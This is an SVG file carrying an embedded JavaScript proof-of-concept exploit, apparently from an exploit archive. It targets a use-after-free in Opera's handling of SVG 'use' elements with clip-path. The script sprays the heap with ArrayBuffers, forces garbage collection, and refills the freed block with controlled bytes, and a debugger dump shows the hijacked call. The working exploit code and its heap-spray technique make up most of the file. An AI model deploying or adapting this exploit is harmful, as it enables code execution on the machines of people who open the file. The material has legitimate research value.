82 lines
No EOL
2.7 KiB
XML
82 lines
No EOL
2.7 KiB
XML
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink">
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<g id="group">
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<defs>
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<clipPath id="clip-circle" clip-path="url(#clip-rect)">
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</clipPath>
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<clipPath id="clip-rect">
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</clipPath>
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</defs>
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<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
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</g>
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<script><![CDATA[
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//Author=Cons0ul
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var b = new Array();
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// this is our spray function where spray is allocated on LFH with exact size 0x78
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// so 0x78 size of block is created so far we are creating 0x50000 blocks
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// to create 0x78 blocks we are using ArrayBuffer();
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function feng_shui(){
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for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection
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for(i=0;i<0x50000;i++){
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payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
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payload[0]=0x6c
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payload[1]=0x03
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payload[2]=0xfe
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payload[3]=0x7f
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b.push(payload)
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}
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}
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// bug is use after free in handling of (use tag + clippath) witch try to access freed object
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//
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document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
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var c = document.createElement('use');
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c.setAttribute("xlink:href","rect")
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feng_shui();
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document.getElementById('clip-rect').appendChild(c);
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document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
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window.opera.collect() // <------ gc() frees the allocation
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feng_shui(); // <------------ we allocate our code at freed memory
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// at the end it tries freed block witch contains our data
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window.location.href=window.location.href;
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/*
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idc !heap -p -a ecx
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address 077c45e0 found in
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_HEAP @ b40000
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HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
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077c45d8 0010 0000 [00] 077c45e0 00078 - (free)
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PS C:\Users\cons0ul> idc db ecx
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077c45e0 92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 .H..............
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077c45f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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077c4650 00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88 ..........j[....
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PS C:\Users\cons0ul> idc r
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eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
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eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
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Opera_6b430000!OpGetNextUninstallFile+0xf8583:
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6b8c998b ff5008 call dword ptr [eax+8] ds:0023:7ffe489a=????????
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*/
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]]></script>
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</svg> |